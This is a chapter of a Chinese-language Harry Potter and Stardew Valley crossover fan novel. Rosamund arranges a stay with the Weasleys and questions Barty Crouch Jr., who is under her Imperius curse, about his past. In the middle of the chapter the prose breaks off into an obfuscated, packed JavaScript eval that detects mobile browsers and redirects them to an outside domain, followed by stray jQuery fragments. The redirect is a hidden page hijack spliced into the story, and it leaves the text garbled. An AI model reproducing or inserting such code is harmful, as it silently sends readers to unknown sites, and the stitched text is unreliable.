168.第一百六十八章

作品:《HP但星露谷

    罗莎蒙德在马尔福庄园的厨房挥一挥衣袖,留下一大堆煎蛋。


    到家的第一件事就是向金妮寄出了信。


    “我可以去你家玩一段时间吗?”她在信里问。


    她等了一会儿,没等到回信,内心为自己唐突的举动感到忐忑和尴尬,贸然说要去别人家住一段时间这种事好像确实太……


    但在她打算去社区中心看一下小巴蒂的路上收到了金妮的回信。


    她一边推开社区中心的门一边拆开回信。


    “亲爱的罗茜:


    很高兴收到你的来信,我非常乐意接待你来我们家住一段时间,但是妈妈说我们还需要做一些准备。


    在周三时一切都应该准备好了,随时欢迎你的到来。


    P.S.妈妈问你会喜欢红色的被子吗?如果不喜欢请回信告诉我。


    P.P.S.我想你应该不会花粉过敏吧?我见过你农场里的花,奥特里·圣卡奇波尔村附近的鲜花很多,我将摘一些放在你的床头,你会喜欢吗?


    P.P.P.S.薄荷味的牙膏你会喜欢吗?如果不喜欢请回信告诉我。


    P…S.你会喜欢(一串墨点落在纸上)好吧,乔治和弗雷德说,如果我一直在这里“P.S.”那这封信就永远寄不出去了……


    总之,我们都很欢迎你来做客!希望你会喜欢这里。


    你诚挚的,


    金妮”


    罗莎蒙德闻着信纸上属于金妮的花香和阳光暖烘烘的味道,阅读的时候仿佛都能听到金妮雀跃的声音在她耳边响起,她没有拒绝她,哪怕她的询问显得有些仓促和失礼。


    她匆匆想要抓紧回信,告诉金妮什么都可以,她一定会很喜欢韦斯莱家里的一切,因为她之前去的时候就幻想过生活在哪里是多么热闹和幸福。


    大门一被推开就像个跟屁虫一样跟过来的小巴蒂就这么被无视了,一路像是什么幽魂一样跟在高兴的罗莎蒙德身后,看着她直接冲进书房就在写信,时不时还看着手边别人的回信傻笑。


    小巴蒂站在一旁,看着她写她对于贸然叨扰多抱歉,但她很高兴金妮和韦斯莱夫人能同意她的请求,如果假期的最后还有空的话,她还想邀请金妮来她的农场住一段时间,她们可以一起去海边捡贝壳,或者一起钓鱼……


    罗莎蒙德想写的很多,但她最后也像金妮一样,意识到如果这样下去,这封信就要寄不出去了。


    所以她停了笔,想了想,加了一句,她会在周三的早晨通过飞路网抵达韦斯莱家的壁炉,希望韦斯莱夫人能也给她准备一份早餐,她很想念那个味道。


    站起身想要找一个漂亮的信封装新的罗莎蒙德才发现书房怎么还有一个人。


    “巴蒂?”罗莎蒙德说,“你什么时候进来的?我还以为你在其他房间休息呢。”


    从她进门就一直跟着的小巴蒂:……


    他怀疑罗莎蒙德眼睛里是不是有一个过滤器,不感兴趣的东西哪怕放在眼前都会看不到。


    “我一直在这里,”他回答道,“……从你进来时。”


    “哦,哦。”罗莎蒙德点了点头,看起来也不是很关心这个问题。


    一方面,她对自己的夺魂咒很有自信,毕竟她现在可不是平平无奇的农场主,而是上了很多私教课的农场主!


    另一方面,她现在对选一个漂亮信封的兴趣比较大。


    红色的?金色的?绿色的?粉色的?……


    “你要去韦斯莱家里住一段时间?”小巴蒂问。


    “是啊。”罗莎蒙德在蹲在抽屉旁边挑选信封,一个个翻看上面的花纹。


    小巴蒂沉默了一会儿,突然说:“那我呢?”


    “嗯?”罗莎蒙德困惑抬头,“什么?”


    “……那我呢?”小巴蒂长腿一曲,蹲在她旁边,被雾气蒸腾过一般的眼睛看着她,有几分可怜巴巴的意味,“你不管我了吗?”


    “……啊?”


    罗莎蒙德觉得自己的脑子宕机了几秒。


    “我不是得听你的话吗?”小巴蒂说,他的脸上还是那种惯常的、疏离的无害微笑,像刚才的可怜巴巴只是罗莎蒙德的幻想,“你不在的话,我应该听谁的呢?”


    罗莎蒙德:……完了,给错孩子指令了,把孩子弄成雏鸟情结了。


    她可不想当鸟妈妈。


    “嗯……你只是这段时间需要先听我的话,不要出去乱跑,等你的身体和精神都恢复了……”或者说,等所有事情都结束了,她占卜到的未知内容被改变,“到那时,你就可以听你自己的了,你可以去过你想要的生活。”


    “你想要过什么样的生活呢?”


    罗莎蒙德随口问道,从抽屉里拿出一个珊瑚色的信封,上面有银线勾勒的图案,像是一只小狮子,很适合她们格兰芬多。


    小巴蒂看着她的侧脸,嘴角的弧度降了降。


    “我不知道,”他说,“我没有想要的生活。”


    啊……罗莎蒙德意识到,小巴蒂毕业没多久就进了监狱,虽然后面被他父亲捞出来了,但跟被关在另一个监狱也没什么区别,他没有过什么“生活”,当然不知道自己想要的生活是什么样……


    命运真是无常,她曾经感慨小巴蒂这种天龙人进可攻退可守,怎么都能过上自己想要的生活,可是伏地魔消失了,他亲生父亲又……总之,这导致现在站她面前的是一个快要枯死的灵魂。


    “……你会有的,”罗莎蒙德不得不把注意力从信封上挪开一会儿,拍了拍他的肩膀,安慰道,“等一切结束了,你可以用很长的时间去慢慢找到自己到底想要什么样的生活。”


    “等一切都结束?”小巴蒂的眼睛缓慢地眨了一下,慢吞吞地问,“什么结束?”


    “当然是……”伏地魔的事情结束啊!


    罗莎蒙德顿住,把没说完的话咽了回去,她站起身,假装若无其事地把信纸塞到信封里,递给一直站在桌边埋头吃饭的小猪,小猪叼住信,扑腾着翅膀飞走了。


    偏偏小巴蒂像是读不懂空气,他蹲在原地没有动,哪怕罗莎蒙德已经坐下假装自己很忙了,他还是问:“当然是什么?”


    “……”原谅孩子吧,这是个傻子来的。


    罗莎蒙德看着自己膝盖旁的那张脸。


    他的身形还是瘦弱,但消瘦的脸颊长出了一点肉,皮肤不再是长期晒不到太阳的那种病态的白皙,稍微恢复了一点血色,眼角的细纹无声诉说他被埋藏被遮掩的故事,但零散的雀斑和那双干净的眼睛又让他比实际年龄看起来小一点。


    浅黄色的头发有点像她地里的麦子,罗莎蒙德忍不住伸手摸了一下……手感不太像,比她的麦子要软一点。


    小巴蒂愣了一下,或许是习惯了听话这个指令,在他反应过来前,已经本能地微微侧过头,将脑袋送进她的掌心。


    可罗莎蒙德已经收回了手,她看着桌面,上面摆着一些金加隆,像是在看着金加隆发呆。


    小巴蒂凝视着她,他没继续追问了,安安静静的,又像是变成了一个幽灵,这是他十几年来最习惯最自然的事情。


    罗莎蒙德拿起了一枚金加隆,这些金加隆都是她留在社区中心的,如果小巴蒂有什么需要的就可以用这些加隆去买,曾经是小巴蒂主动借给了她一枚金加隆解围,没想到现在她都富到可以用金加隆砸死他了。


    但小巴蒂好像从没有主动提出过需求,他看起来对于自己在哪里、要做什么、该听谁的话都显得不在乎。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16378202|178394||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>罗莎蒙德突然懂了夺魂咒为什么被列入不可饶恕咒之一……它抹去了人的思想,也抹平了人的灵魂,而灵魂是一个人最珍贵的东西。


    什么样的父亲能这么对待自己的儿子?罗莎蒙德叹了口气,就因为他是个食死徒吗?


    当年食死徒大多都被捕了,但最后一部分又都被释放了,雷古勒斯跟她转述过那些卷宗,只要一个血统、地位高贵的食死徒声称自己是中了伏地魔的夺魂咒,并且表达自己的忏悔,又愿意出足够的“保释金”,那魔法部就会把他们无罪释放。


    巴蒂·克劳奇作为小巴蒂的父亲,也是当时竞争魔法部部长的有力人选,他并不是没有这个能力保下自己的儿子,只是他觉得小巴蒂已经成为了他的污点……他放弃了他。


    但他后来又为什么把他救了出来呢?彼得遇到的那个魔法部职工伯莎·乔金斯的记忆里也没有问出答案,她刚戳穿克劳奇的徇私舞弊就被用强力的遗忘咒弄乱了思想和记忆。


    现在已经过去了一段时间,罗莎蒙德也在偷偷观察克劳奇的情况,他看起来没什么变化,照常参加魔法部的日常行动,好像他的生命里从来都没有出现过这个儿子。


    “巴蒂……”罗莎蒙德还是觉得自己应该问一下他,因为这能让她更好知道克劳奇的动向,马上要到来的魁地奇世界杯上她一定会遇到他,“你当初是怎么从阿兹卡班出来的呢?”


    “……我的母亲救了我,”小巴蒂说这话时睫毛微微颤动,“她知道自己要死了,求我父亲把我救出去……他们一起来看望我,她喝了有我头发的复方汤剂。”


    罗莎蒙德愣住了,她没想过会是这个答案。


    一个母亲,一个濒死的母亲,恳求自己的丈夫用自己把自己的孩子换出来,但没想到,只是让她的孩子从一个监狱进了另一个监狱,虽然后面的监狱里没有摄魂怪那种东西巡逻,但他被不断用夺魂咒控制,也没好到哪去。


    “抱歉。”罗莎蒙德干巴巴地说。


    “为什么道歉呢?”小巴蒂问,“没什么值得抱歉的。”


    “为你母亲感到抱歉。”摊上这么一对父子。


    巫师的寿命漫长,身体也更加强健,除非是遭到什么黑魔法或者诅咒的侵蚀,很少有巫师会年纪轻轻就去世……按照时间来算,小巴蒂的母亲去世得太早了。


    比起什么“自然死亡”,罗莎蒙德更倾向于是她在绝望中渴望用自己的生命换取自己的孩子的自由。


    她成功了,也失败了。


    “你的母亲一定很爱你。”罗莎蒙德说。


    小巴蒂垂下眼帘,他坐在地上,单薄的身影好像是什么会靠在母亲膝头挨着壁炉听故事的孩子。


    罗莎蒙德没听到小巴蒂的回答,也看不清他的神情,但她觉得小巴蒂也爱着他的母亲——他没注意到自己喊出这个称呼时吐字的柔软,而他每次喊出“父亲”这个词都像是有什么炭火在烫他的舌头。


    “你有想过,如果你当初没有成为食死徒,或许你的母亲就不会死?”罗莎蒙德很真诚地问,她的目光里没有审视、没有嘲讽,只是单纯在询问他,是否有那么一刻,他是后悔的。


    小巴蒂抬起头,那张脸还是和从前一样的无辜和茫然,像是任她书写的纸张,他问:“你希望我后悔吗?”


    罗莎蒙德顿时失去了兴趣,她忘了,小巴蒂虽然可能还有点记忆和思考能力,但他已经被她的夺魂咒控制了,现在人生的主旨都是围绕着“听她的话”运转了。


    因为她乏味地转开了脸,丝毫没有察觉小巴蒂眼神中闪过的探究之色,他像是在暗处潜伏了太久的豹子,终于有那么一刻捕捉到了猎物的破绽,只是下一刻,那种蠢蠢欲动的光芒就又暗了下去,他恢复成了无害的样子。